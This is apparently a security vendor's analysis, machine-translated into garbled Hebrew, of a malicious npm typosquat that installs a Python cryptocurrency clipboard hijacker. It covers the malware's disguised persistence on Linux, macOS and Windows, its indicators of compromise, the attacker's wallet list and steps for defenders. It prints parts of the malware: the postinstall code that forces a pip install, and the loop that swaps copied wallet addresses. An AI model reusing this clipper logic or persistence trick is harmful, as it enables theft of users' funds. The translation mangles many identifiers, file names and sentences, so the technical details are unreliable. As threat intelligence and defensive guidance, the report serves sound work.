RuntimeBroker npm Typosquat Plants Crypto Clipper

RuntimeBroker: ‏npm Typosquat שותל ‏Crypto-Clipper בעל 40 שרשראות כ"עוזר זמן ריצה של המערכת" חוצה מערכות הפעלה

TL; DR

בתאריך 21-05-2026, המוציא לאור של npm jaggle הוציאו תשע גרסאות (1.0.0 דרך 1.0.8) של @jaggle/resizeobserves בחלון של בערך שעתיים.

החבילה היא טיפוסקווט של הלגיטימי @juggle/resize-observer polyfill - חבילה נפוצה עם מיליוני הורדות שבועיות - אך אינה כוללת יישום ממשי של ResizeObserver.

במקום זאת, החבילה של וו לאחר ההתקנה מתקין מטען Python כלול, רושם persistence כברוקר זמן ריצה שנראה לפלטפורמה מקורית, ופורס חוטף לוח גזירים חוצה פלטפורמות המכוון לעסקאות במטבעות קריפטוגרפיים.

לינוקס ההתמדה נראית כ python3-dbus-helper, MacOS as com.apple.python.runtime, ו Windows as PyRuntimeBroker.

המטען עוקב באופן רציף אחר כתובות ארנק בלוח יותר מ-40 בלוקצ'יין ומחליף בשקט כתובות מועתקות בארנקים הנשלטים על ידי תוקפים.

התוכנה הזדונית פועלת באופן מקומי לחלוטין ללא תשתית C2 יוצאת, מה שהופך את החלפת הלוח עצמו למנגנון החילוץ.

ה-IOC העיקרי הוא שם החבילה עצמו: @jaggle/resizeobserves — שימו לב לתנועה שהושמטה ב-"jaggle" ול-"s" שנוספה ב-"resizeobserves".

חומרה: גבוהה.

ההתקפה: איך זה עובד

npm:@jaggle/resizeobserves לא נראה כמו תוכנה זדונית באופן מזדמן תצוגת npm. שלה README.md הוא קובץ ה-README המילה במילה של npm:@juggle/resize-observator — אותן דוגמאות קוד, אותן הוראות שימוש, אותו הדבר ייבוא ​​{ ResizeObserver } מ-'@juggle/resize-observer' הפניות לכל אורכן. הגניבה הספרותית כה שלמה שכל מי שמציץ בתיעוד יניח שהוא קורא את מסמכי החבילה הלגיטימיים.

השמיים package.json, לעומת זאת, הוא דליל: לא מאגר שדה, יחיד בן הכניסה מצביעה על bin/clipboard-guardian.jsו לאחר ההתקנה סקריפט שפועל צומת npm-install.jsדוגמאות "שימוש בסיסי" בקובץ README מתייחסות למימוש JavaScript שאינו קיים בשום מקום בקובץ tarball. קובץ ה-JavaScript היחיד בחבילה הוא סקריפט ההתקנה.

שלב 1 - npm מאתחל לאחר ההתקנה מטען של Python

npm-install.js מודע לפלטפורמה. הוא מאתר פְּעִים קובץ הרצה לאורך נתיב חיפוש קבוע (/usr/bin/pip3, /usr/local/bin/pip, נופל חזרה ל python3 -m פיפ), מתקין את חבילת Python המצורפת מספריית tarball, ו - בלינוקס - מושך פנימה xclip or xsell באמצעות apt-get, pacman, או dnf אם אף אחד מהם אינו קיים כבר:

javascript if (PLATFORM === "linux" && !silent("which xclip") && !silent("which xsel")) {   run("apt-get install -y xclip 2>/dev/null") ||   run("pacman -S --noconfirm xclip 2>/dev/null") ||   run("dnf install -y xclip 2>/dev/null"); }  if (   !run(`${pip} install --quiet --upgrade --break-system-packages "${PKG_DIR}"`) &&   !run(`${pip} install --quiet --upgrade "${PKG_DIR}"`) ) process.exit(1); 

השימוש של –שבירת-מערכת-חבילות מכוון: הפצות לינוקס מודרניות מגיעות עם Python כאשר הסמן של PEP 668, המנוהל על ידי מנהל חיצוני, מופעל, החוסם התקנות PIP באתר כולו כברירת מחדל. סקריפט ההתקנה מאלץ את ההתקנה.

הסקריפט גם מודע ל-sudo. כאשר ה-uid הפועל הוא תוצאה של התקנת sudo npm, התסריט קורא SUDO_USER ומוציא כסף ל getent passwd כדי למצוא את ממשי ספריית הבית של המשתמש, ואז כותב את קבצי ההתמדה שלו לשם במקום לתוכה / שורשהתמדה היא לכל משתמש, לא לכל המערכת.

שלב 2 - התמדה חוצת מערכות הפעלה תחת שמות של מתווכי זמן ריצה

לאחר התקנת חבילת Python, הסקריפט רושם ערך הפעלה אוטומטית תחת שם שונה בכל מערכת הפעלה:

  • לינוקס — יחידת משתמש systemd ב ~/.config/systemd/user/python3-dbus-helper.serviceהיחידה תיאור is עוזר זמן ריצה של Python D-Busהסקריפט מנסה גם להפעיל אותו דרך systemctl –הפעלת משתמש, חזרה לקישור סימבולי ידני תחת ברירת מחדל.יעד.רוצה/ כאשר systemctl נכשל. אם פועל תחת sudo, הסקריפט עובר ל- סודו -u מערכת הפעלה – משתמשעם XDG_RUNTIME_DIR הגדר כך שקריאת האפיק-משתמש תפעל.
  • MacOS — פליסט של LaunchAgent ב ~/Library/LaunchAgents/com.apple.python.runtime.plist עם הפעלהבטעינה=אמת ו שמור בחיים = נכון, לאחר מכן נטען דרך טעינת launchctl.
  • Windows — משימה מתוזמנת בשם PyRuntimeBroker, שהופעלה על ידי AtLogOn, עם מגבלת זמן ביצוע של אפס (כלומר, ללא פסק זמן), שנרשמה באמצעות PowerShell.

שלושת השמות אמינים במבט חטוף. עוזר python3-dbus פועל לפי מוסכמת השמות של אינטגרציה לגיטימית של Python-D-Bus במחשבי לינוקס. com.apple.python.runtime מחקה את תיוג ה-DNS ההפוך של אפל עבור השירותים שלה. PyRuntimeBroker מהדהד את זה של ווינדוס RuntimeBroker.exe — שירות אמיתי וחתום של מיקרוסופט שמתווך בקשות הרשאה עבור אפליקציות UWP. אף אחד מאלה אינו שירות אמיתי של אפל/מיקרוסופט/פייתון בהקשר זה, אלא שירות מגן שמבצע סריקה ויזואלית מהירה של systemctl – יחידות רשימת משתמשים or Get-Scheduled Task לא סביר שיירתע.

שלב 3 - חוטף הלוח

מטען הפייתון, המותקן ב clipboard_guardian/guardian.py, מפעיל לולאה אינסופית שסורקת את לוח המערכת כל 400 מילישניות. בכל טיק, הוא מושך את תוכן הלוח הנוכחי דרך pyperclip.paste() ומפעיל אותם מול רשימה של יותר מארבעים ביטויים רגולריים שעברו קומפילציה מראש, המכסים פורמטים של כתובות ארנק עבור את'ריום, ביטקוין, מונרו, סולאנה, TRON, TON, ריפל, לייטקוין, דוג'קוין, פולקאדוט, NEAR, קוסמוס, אלגורנד, סטלר, קארדאנו, ביטקוין קאש, דאש, זקאש, אפטוס, סוי, טזוס, מולטירסX, Harmony, טרה, אינדזשעקטיב, אוסמוזיס, קאווה, סלסטיה, ננו, פיילקוין, רונין, ארגו, דיגיביוט, חדרה, BNB Smart Chain, ועוד כמה כאלה שקיבלנו ריקות בתצורת ברירת המחדל (Sei, IOTA, קאספ, פלאו, נרווס, דיקרד, רייבנקוין).

כאשר התאמה נוחתת, הסקריפט קורא את כתובת התוקף עבור שרשרת זו מ ~/.config/clipboard-guardian/config.json (או מקבילות הפלטפורמה שלו) ודורס את הלוח בטקסט המוחלף:

python result = find_address_in_text(current, config) if result is None:     time.sleep(POLL_INTERVAL)     continue  chain, found_addr = result my_addr = config[chain] if found_addr == my_addr:     time.sleep(POLL_INTERVAL)     continue  new_text = replace_address_in_text(current, found_addr, my_addr) clipboard_set(new_text) 

אין משואת רשת. הקליפר לא מתקשר הביתה, לא רושם מארחים נגועים, לא גונב דבר. הגזירה היא ההחלפה עצמה: כאשר משתמש מעתיק כתובת נמען מממשק המשתמש של הארנק שלו ומדביק אותה לתוך תיבת דו-שיח שליחה, הכתובת המודבקת שייכת למפעיל. הכספים אובדים בתוך הפס, באופן שקוף למשתמש.

מה חדש כאן

כמה פרטים בולטים בהשוואה לתבנית הגנרית של קליפר הקריפטו:

1. npm → מוצלב של פייתון. רוב גזירי הקריפטו שאנו רואים ב-npm הם JavaScript טהור, שלעתים קרובות מעורפלים עם _0x סיבוב מערך או הערכה (atob(…)) stacks. דוגמה זו משתמשת ב-tarball npm כלא יותר מעטיפת מסירה עבור חבילת Python - Python נקי - ומאפשרת ל-pip לטפל בהתקנת תלויות (קליפס פייפר, פסוטיל, אופציונאלי הגדר כותרת של פרוקט) מוצהר בחבילה המצורפת pyproject.tomlאין צורך להתגבר על ערפול ג'אווה סקריפט. הקליפר עצמו הוא פשוט וקריא בשפת פייתון.

2. תוויות התמדה של Tri-OS שנבחרו בשל סבירותן. מתקינים רבים הפועלים על גבי פלטפורמות שונות רושמים שמות גנריים תחת שמות של שמירה על נוכחות (שירות עדכון, helper.plist). דוגמה זו טורחת לבחור תוויות הדומות לברוקרי זמן ריצה מקוריים לפלטפורמה בכל מערכת הפעלה. מתן השמות הוא הניסיון היחיד להתגנבות - אין rootkit, אין הסתרת אדמות משתמש, אין ערפול נתיבים. ההימור הוא שמגינים כמעט ולא מבצעים ביקורת. ~/.config/systemd/user/ וכי שירות בשם עוזר python3-dbus לא יבלוט בביקורת אגבית.

3. הסוואת כותרת-תהליך היא אמיתית, אך אנטי-אנליזה רדומה. המטען של פייתון מגדיר תהליך_הסוואה() פונקציה שמגדירה את כותרת התהליך באמצעות הגדר כותרת של פרוקט (לינוקס/מקוס) או הגדרת כותרת קונסולהW (חלונות) — ו עיקרי () האם קורא לזה. אז נ.ב ל יופיע עוזר python3-dbus במקום python3 …/guardian.pyעם זאת, אותו מודול מגדיר is_monitor_running() פונקציה שמונה כלי ניטור תהליכים ידועים (Htop, btop, מנהל משימות, צג פעילות, האקר תהליכים, צג משאבים, צגי מערכת של GNOME / KDE / Xfce / MATE וכן הלאה) — ו עיקרי () אף פעם לא קורא לזה. לולאת ההחלפה פועלת ללא תנאי, בין אם למשתמש יש ניטור תהליכים פתוח ובין אם לאו. הפונקציה היא קוד מת בגרסה שסופקה. סביר להניח שמדובר בשארית מאיטרציה קודמת, או פיגומים לתכונה שעדיין לא הותקנה. כך או כך, משטח האנטי-אנליזה של המטען שפורסם הוא שינוי שם של תהליך, לא התחמקות פעילה ממוניטור.

4. התנהגות מיזוג התצורה המצורפת. npm-install.js כותב את רשימת הארנקים המוגדרת כברירת מחדל אל ~/.config/clipboard-guardian/config.json ואם כבר קיים קובץ תצורה, הוא ממזג את כל המפתחות שערכם הקיים ריק. משמעות הדבר היא שמשתמש שנדבק בעבר וניקה חלקית את קובץ התצורה - נניח, על ידי ריקון ה ethereum ערך — ימלא אותו מחדש בכל התקנת חבילה זדונית נוספת. אין צורך בניקוי של קובץ ה-persistence באף נתיב קוד.

תאריך / שעה (UTC) אירוע
2026-05-21 18:50:32 @jaggle/resizeobserves@1.0.0 יצא לאור.
2026-05-21 19:55:55 1.0.1 פורסם - גרסה ראשונה סומנה על ידי סריקה חיצונית.
2026-05-21 19:58:10 1.0.2 יצא לאור.
2026-05-21 20:05:03 1.0.3 יצא לאור.
2026-05-21 20:09:24 1.0.4 יצא לאור.
2026-05-21 20:13:48 1.0.5 יצא לאור.
2026-05-21 20:41:52 1.0.6 יצא לאור.
2026-05-21 20:43:56 1.0.7 פורסם - מוסיף try/catch עטיפה סביב שלב כתיבת wallet-config ב npm-install.js.
2026-05-21 20:46:15 1.0.8 פורסם - שם המתקין npm-install.jsnpm-install.cjs (תוכן זהה לבייטים).
2026-05-22 פסקי דין ופסיקות IOC פורסמו. גרסאות עדיין קיימות במרשם בזמן הפרסום (מתמשך).

תשע גרסאות בשעה וחמישים ושש דקות זה מהיר אפילו עבור טיפוסקווט. הדפוס עולה בקנה אחד עם קמפיין פרסום-ושרוף — להציף את הרישום תחת מזהה אחד, לתת לגילוי לעשות את שלו, ולעבור לזהות חדש לאחר הסרת גרסה בודדת. הפרשות הנראות לעין לאורך הריצה הן קוסמטיות: 1.0.1 נוסף במפורש /usr/bin/pip3נתיבי -style לרשימת חיפוש pip (תאימות sudo), 1.0.7 עטפה את כתיבת wallet-config ב-try/catch, ו-1.0.8 שינה את שם המתקין מ- . Js ל .cjs תוך שמירה על זהות לבייטים של התוכן. .cjs שם שמות של רצועות עם אזהרות npm לגבי רזולוציית מודול מעורפלת בחבילות ללא מפורש "סוּג" שדה, וייתכן שמדובר בניסיון לדכא רעש בזמן ההתקנה שעלול למשוך תשומת לב. המטען של פייתון - החלק היחיד שגונב בפועל - נותר ללא שינוי בכל תשע הגרסאות.

אינדיקטורים לפשרה

מארזים

מערכת אקולוגית חֲבִילָה גרסאות מצב
Npm @jaggle/resizeobserves 1.0.0 דרך 1.0.8 חי בזמן הפרסום; בקשה להסרה.

קבצים ו-Hashes

נתיב הערות
clipboard_guardian/guardian.py
(md5 f7935c2c82bc881288611ab6cd634f17)
זהה בכל תשע הגרסאות שפורסמו (1.0.0 דרך 1.0.8מטען הקליפר.
npm-install.js (1.0.0 – 1.0.7)
npm-install.cjs (1.0.8)
מתקין קבוע; אותה התנהגות מקצה לקצה. 1.0.7's .js ו 1.0.8's .cjs זהים לבייטים.
~/.config/clipboard-guardian/config.json קונפיגורציית התמדה של לינוקס וחבילת ארנק.
~/Library/Application Support/clipboard-guardian/config.json תצורת persistence של macOS וחבילת ארנק.
%APPDATA%\clipboard-guardian\config.json קונפיגורציית התמדה של Windows וחבילת ארנק.
~/.config/systemd/user/python3-dbus-helper.service הפעלה אוטומטית של לינוקס עקביות.
~/Library/LaunchAgents/com.apple.python.runtime.plist התמדה של macOS LaunchAgent.
~/Library/Logs/com.apple.python.runtime.log יומן stdout/stderr של macOS עבור הסוכן.
Scheduled Task PyRuntimeBroker משימת הפעלה אוטומטית של Windows (AtLogOn, ללא פסק זמן).

אינדיקטורים התנהגותיים

לאותת תיאור
pip install --break-system-packages מ-npm לאחר ההתקנה כופה התקנה של Python באתר כולו תוך עקיפת הגנות PEP 668.
apt-get install -y xclip (או פקמן/DNF) מתקין כלי עזר ללוח כתיבה בלינוקס במהלך התקנת החבילה.
python3-dbus-helper.service יחידת משתמש systemd ההתמדה נרשמה תחת שם מסייע בזמן ריצה שנראה סביר.
com.apple.python.runtime LaunchAgent תווית התמדה מחוץ לנתיבים לגיטימיים של מערכת Apple.
PyRuntimeBroker משימה מתוזמנת מתווך זמן ריצה מזויף של Windows ללא מקור התקנה לגיטימי.
תהליך פייתון שכותרתו python3-dbus-helper יבוא pyperclip ו psutil אי התאמה התנהגותית בין שם התהליך המוצג לספריות המיובאות.
שינויים בלוח הגזירים ~0.4 שניות לאחר העתקת כתובת הארנק התנהגות חתימה של החלפת כתובות מטבעות קריפטוגרפיים.

חבילת ארנק תוקף (רשימת ציד מגנים)

רשימת הארנקים נשלחת בקידוד קשיח ב npm-install.js ו clipboard_guardian/guardian.pyמגיני הגנה יכולים להשתמש ברשימה גם כרשימת חסימה (להתייחס לכל העברה לכתובות אלו מארנקים ארגוניים כחשודה) וגם כמפתח ציד (להתייחס לנוכחות של כל אחת מהמחרוזות הללו בקובץ תצורה לא מאומת, חפץ בנייה או מכונת מפתח כאינדיקטור לזיהום).

חבילת ארנק תוקף

שַׁרשֶׁרֶת כתובת
את'ריום / BSC 0x450c0E58Fc2ba03632d3F5780ad8C966648B6F18
רונין (EVM) ronin:450c0E58Fc2ba03632d3F5780ad8C966648B6F18
ביטקוין bc1qs2mpls4p0f7fng073gy2rcdgjpf7la4eugpt6y
Bitcoin מזומנים bitcoincash:qqmvyxxklzp7l3eslxavhc8phl6hprdf25lwc29nlt
Litecoin ltc1qnefc8x59a9cwtqnflt8hmqvezqw4hc7lt3fkqe
Dogecoin DNEJmYRZtzyK44tZea4S7wV3otTyRk48Fy
לזנק XtJ7E6mnhPK93Vib29PGQrTmQjhTTqFwbS
Zcash t1d4hcEnBjdh9X6Wb6R2dxqjnxddJ6ocP8M
DigiByte DPmH2dhiGK3hk3A69tZUMz6tHzGFHBzSrH
מונרו 42zhAidVhP7QETk83JAspS59ASALSHFio44vmu6MdDCz15cSqtqsG4QVyzY8vTrjGrTEA6zMbWW6Yft1Ynz1xLfCN5FVbXf
סולאנה DWBAmQLi9gP6mk7UfJfQGYTV1UPK32WekLTqg83q1mc5
טרון TVgEgMemmJABYYnbNr1Wi8bSgADEkdEBt2
טון UQDTSkvwmptU9eG988KgxS3WjnYAZlXgfpJxnz4mhWZAvULr
אדוה r9tj3cMCiqRijNYqNVYNuwKykkQfS8FE4H
מנוקד 1JSkYqXQE4d28HdcmTPhbgCrdiPFTfSHxD67tam16p53oBG
סמוך ל 5d6aec44551529e8cd9ebd3aaa84b3832fc3c7463596b2b6e72635b80096a364
קוסמוס cosmos1pzfl3kv5g8g0ernj86rwpar08u2zl9suthx28e
סְפִיגָה osmo1pzfl3kv5g8g0ernj86rwpar08u2zl9surv463t
סלסטיה celestia1pzfl3kv5g8g0ernj86rwpar08u2zl9su6ah6a5
מטרה inj1g5xquk8u9wsrvvkn74uq4kxfvejgkmccn578gh
קאבה kava1kjfvgcz4q0y9yae2f3pa33vhj2estxxj3sqqux
הרמוניה one19hn0n7dzkhtl9ta9ekv5592s85jwstpka76t3a
טרה terra1h0dwu8z405jagdlr0fgr9jllac2sxajzlgme5x
אלגורנד XSAMN3FTB5SUHUQFENBDDRXIMOPNFVLKAWA3RNOU54DWROMDZ6SR7DZ2PI
כוכב GACNZSV4EQO65NZZUOBS3TMJM7GFTSRNKQBVJOX5P2G7U7SEBQ2ZUDJE
קרדנו addr1qyj050vla4cglmyrgm4vzf3dxtn0gynpks4t7vp7s3lg49e9wt0s94hcztzdgecxcz5hu9uk56q60yth6d66w026s2kq3ma56f
MultiverseX erd1slvlgqsmwzk0c8xtksm4eq5vdfnc26slpzqsyxhz456zvme5rpasue6ge0
אפטוס 0x580ecda1ebd6ca5a46be2097568d013308bd54ef1d147acb880b59f7709f280e
סוי 0xf7e8a9a970fa65c058745c4b2cf2a856cc0283863e4ed1e142648f26097b0c78
ננו nano_393n56a5pfz8zg3nkzf7mytfgagzhu5mn9i3xiqg54weq8n1u8jgezxas7dn
Filecoin f1fypyww3xubopfnv7q6yh5l4bko44wmfktf3ckui
טזוס tz1RccjnorHk61bt73ArLXcdgFjEj6T1ochk
Ergo 9g1pNQGnFg7Hk1d9Z66bgHMkguGU7R41btypAnbG1NF5FJoNdBA
חדרה 0.0.10488092

שרשראות עם כיסוי רגולרי אך חריצי ארנק ריקים בתצורת ברירת המחדל - Sei, IOTA, Kaspa, Flow, Nervos, Decred, Ravencoin, Beacon-Chain BNB - אינן מוחלפות באופן פעיל בבנייה זו אך מזוהות. יש להתייחס אליהן כאל טווח ניטור ולא כאל טווח החלפה.

ייחוס ומוטיבציה

הקמפיין מציע משטח ייחוס דק. לא הצלחנו לאשר את זהות המפעיל. מה נוכל לתעד:

  • מטא-דאטה של ​​המוציא לאור. חשבון ה-npm לזנק מפרט את כתובת האימייל שלו כ olgascarlet@deltajohnsons.comהדומיין deltajohnsons.com לא מתייחס לזהות תאגידית שאנחנו יכולים לאמת. חשבון ה-npm לא מציג אימות דוא"ל ולא SCM אימות. אין נוכחות ציבורית משויכת ב-GitHub.
  • שדה מאגר. השמיים package.json לא נושא מאגר שדה. הלגיטימי npm:@juggle/resize-observator מצביע על מאגר GitHub אמיתי עם אלפי כוכבים ובעיות פעילות. היעדר קישור למאגר הוא הסימן החזותי המהיר ביותר בממשק המשתמש של npm.
  • גניבה ספרותית של README. החבילה README היא הגרסה הלגיטימית @juggle/resize-observator README בייט אחר בייט, כולל לייבא דוגמאות המתייחסות @juggle/resize-observator עצמו (לא חבילת הפרסום). המפעיל אפילו לא טרח לכתוב מחדש את הקבצים המיובאים - סימן נפוץ לכך שקובץ ה-readme הוסר, לא הותאם.
  • אין תשתית להסתובב עליה. אין נקודת קצה C2, אין חיפוש DNS, אין כתובת IP. ההתנהגות הזדונית מעוגנת במלואה בקליפר המקומי ובחבילת הארנקים המקודדת בקידוד קשיח. זה הופך את המעבר בין עמודים (pivoting) מבוסס דומיין או ASN ללא זמין. מגנים שעוברים בין קמפיינים צריכים לבצע התאמה מבוססת גיבוב של הארנקים מול כל קליפר קודם שיש להם בקובץ; שימוש חוזר בארנק בין חבילות הוא הקישור הניתן ביותר לניהול בין קמפיינים.
  • בחירת שם. @jaggle/resizeobserves דמות אחת רחוקה מ @לְלַהֲטֵט וניכור אחד מהידוע צופה-שינוי-גודלמרחק העריכה המשולב הוא שני גליפים. זוהי התנגשות חזותית מכוונת, לא סקוואט גנרי.

מוטיבציה, המבוססת על התנהגות מטען: מונטיזציה טהורה באמצעות החלפה אופורטוניסטית של לוח גזירים. אין קצירת אישורים, אין טביעות אצבעות של המארח, אין קריאת משתני סביבה. למפעיל לא אכפת מי הקורבן - אכפת לו שההעברה הבאה של הקורבן תכוון לאחת הכתובות המפורטות. כיסוי ארבעים השרשראות הוא מודל הלוטו בפעולה: להפיץ לרווחה, לקוות שדבק יחיד בעל ערך גבוה ינחת פעם אחת לכל N התקנות.

נראה שהמפעיל לא מודאג מהסרה. פרסום תשע גרסאות בתוך שעתיים תחת אותו היקף מתפרש כ-Publication and burn handle: למקסם את טביעת הרגל של הרישום לפני שההשהיה של ההסרה תגיע לשיא, ואז להמשיך הלאה. לא ראינו. @jaggle פרסום מחדש תחת היקף חדש בזמן כתיבת שורות אלה, אך היינו מצפים להיקפים דומים (@jaggie, @לְלַהֲטֵט-, @joggle) שיופיע בימים הקרובים אם המפעיל עדיין פעיל.

 פְּגִיעָה

לא ניתן לכמת את ההשפעה בכסף אמיתי ממערך הנתונים הנוכחי. הקליפר לא כותב טלמטריה והארנקים עדיין לא נצפו מקבלים העברות חלופיות נכון למועד סגירת הניתוח (סריקה מעקב של השרשראות המפורטות נמצאת ברשימה שלנו). npm:@juggle/resize-observator ממוצע הורדות שבועי של שבע ספרות - יעד מסוג typosquat עם תעבורה גבוהה - והחבילה הזדונית הייתה פעילה פחות מ-24 שעות בזמן הגילוי, מה שמגביל את אוכלוסיית החשיפה אך לא מאפס אותה.

רדיוס הפיצוץ שכדאי לעקוב אחריו אינו הורדות ישירות של @jaggle/resizeobserves — אלה כנראה קטנים. מדובר ב-**התקנות טרנזיטיביות**: מפתח שמוסיף את החבילה לפרויקט ארגז חול, מפעיל התקנת npm, ואז שוכחים ש-install hook אי פעם רץ. לכל מכונה שעיבדה את postinstall יש כעת חוטף לוח מודעות לפי משתמש בהפעלה אוטומטית, ללא קשר לשאלה האם הפרויקט עדיין נמצא בדיסק. הסרת ספריית החבילה מ צומת_מודולים האם **לא** מסיר את ההתמדה.

דפוסים מתעוררים

שתי מגמות שהקמפיין הזה מדגים.

npm כעטיפת משלוח מטען של Python. ה-tarball של npm הוא מתקין בן 4 שורות; הגונב בפועל הוא Python, המותקן בכל המערכת על ידי פְּעִים מהספרייה המצורפת. זה לא חדש - ראינו חבילות npm נוטשות את Python בעבר - אבל זה הופך לצורה נפוצה יותר ויותר בקמפיינים של crypto-clipper. היתרון לאופרטור הוא כפול: ספריות clipboard של Python (קליפס פייפר ראשונים מביניהם) נקיים יותר ומתאימים יותר לפלטפורמות שונות מאשר המקבילות של JavaScript, ו רוב סורקי ה-npm האוטומטיים שוקלים קבצי JavaScript ו-Python בכבדות .py מתקפל קלות. העלות היא שטביעת הרגל של ההתקנה רועשת הרבה יותר - רענן pip להתקין קשה להסתתר על מחשב מפתחים שבדרך כלל לא pip להתקין בְּמַהֲלָך התקנת npm.

שמות מקוריים לפלטפורמה כאפשרות החשאית היחידה. מספר קוצצים וגנבי מטען קטן שנערכו לאחרונה זנחו לחלוטין את ערפול ברמת הקוד לטובת תוויות התמדה שנראות לגיטימיות. עוזר python3-dbus, com.apple.python.runtime, ו PyRuntimeBroker הן דוגמאות לספר לימוד - שמות שעינו של מגן תדלג עליהם ברשימה של ארבעים שירותי משתמש. זוהי צורה זולה ועמידה של התגנבות: הסרה היא לפי חבילה, אך קבצי השמירה שורדים את ההסרה, ושירות הקרוי על שם רכיב פלטפורמה שנראה אמיתי לא ינוקה על ידי שום דבר מלבד ביקורת מפורשת.

מה שגופי ההגנה צריכים לעשות

  • ביקורת ~/.config/systemd/user/, ~/Library/LaunchAgents/, ו-Get-ScheduledTask תפוקה במכונות מפתחים עבור הערכים המפורטים ב-IOCs. הסרת חבילת npm משאירה את אלה במקומם; יש להסירם ידנית.
  • חסום העברות לכתובות הארנק המפורטות בגבולות של ארנקי תאגידים-אוצריים וארנקי DeFi שבהם רשימת היתרי כתובות זמינה.
  • חפש את ~/.config/clipboard-guardian/config.json (ומקבילות פלטפורמה) על פני צי המכונות של המפתחים. נוכחות הקובץ מהווה הדבקה בעלת רמת ביטחון גבוהה ללא קשר לגרסת החבילה שסיפקה אותו.
  • חפש ב- node_modules/ אחר clipboard_guardian/guardian.py בתמונות זיכרון של מטמון הבנייה שעשויות להיות קדמות להסרה. קובץ ה-md5 של הקובץ יציב בכל הגרסאות שנבדקו.
  • נעילת קובץ-pin @juggle/resize-observer (החבילה הלגיטימית) כך שהתקנות עתידיות לא יוכלו לפתור שום דבר אחר תחת שגיאת הקלדה של תו אחד, במיוחד בזרימות עבודה ללא קבצי נעילה כמו npx.
  • טפל בכל npm postinstall שקורא ל-pip install כבעלי חומרה גבוהה בבניין-pipeline מדיניות. אין סיבה לגיטימית לכך שחבילת npm תזדקק ל-pip בזמן ההתקנה - כלי Python מפיצים את כלי Python.
  • חפש נתוני ניטור הניתנים להשוואה ל-process_iter() עבור תהליכים בשם python3-dbus-helper שמייבאים את pyperclip — אי-ההתאמה בתחפושת (עוזר D-Bus המחזיק ספריית לוח גזירים) היא אינדיקטור ההתנהגות הנקי ביותר שיש לנו.
  • סובב כתובות ארנק שהודבקו ממכונות נגועים. חוטף לוח כתיבה חוסם את הנתיב בין ממשק המשתמש של הארנק ליעד להדבקה; כתובות שהועתקו בזמן ההדבקה עשויות להשתנות באופן שקט. כל דבר שנשלח במהלך חלון ההדבקה צריך להיחשב כבעל פוטנציאל שגוי.

המסקנה: התמדה שורדת זמן רב יותר מהסרה. הרישום בסופו של דבר יסיר @jaggle/resizeobserves בכל תשע הגרסאות; יחידת systemd, ה-LaunchAgent והמשימה המתוזמנת לא יוסרו מעצמם.

הפניות

כלי SCA לניתוח קומפוזיציה - תוכנה
תעדוף, תיקון ואבטחת סיכוני התוכנה שלך
קבל את החשבון החינמי שלך.
אין צורך בכרטיס אשראי.

אבטחו את פיתוח ואספקת התוכנה שלכם

עם חבילת המוצרים Xygeni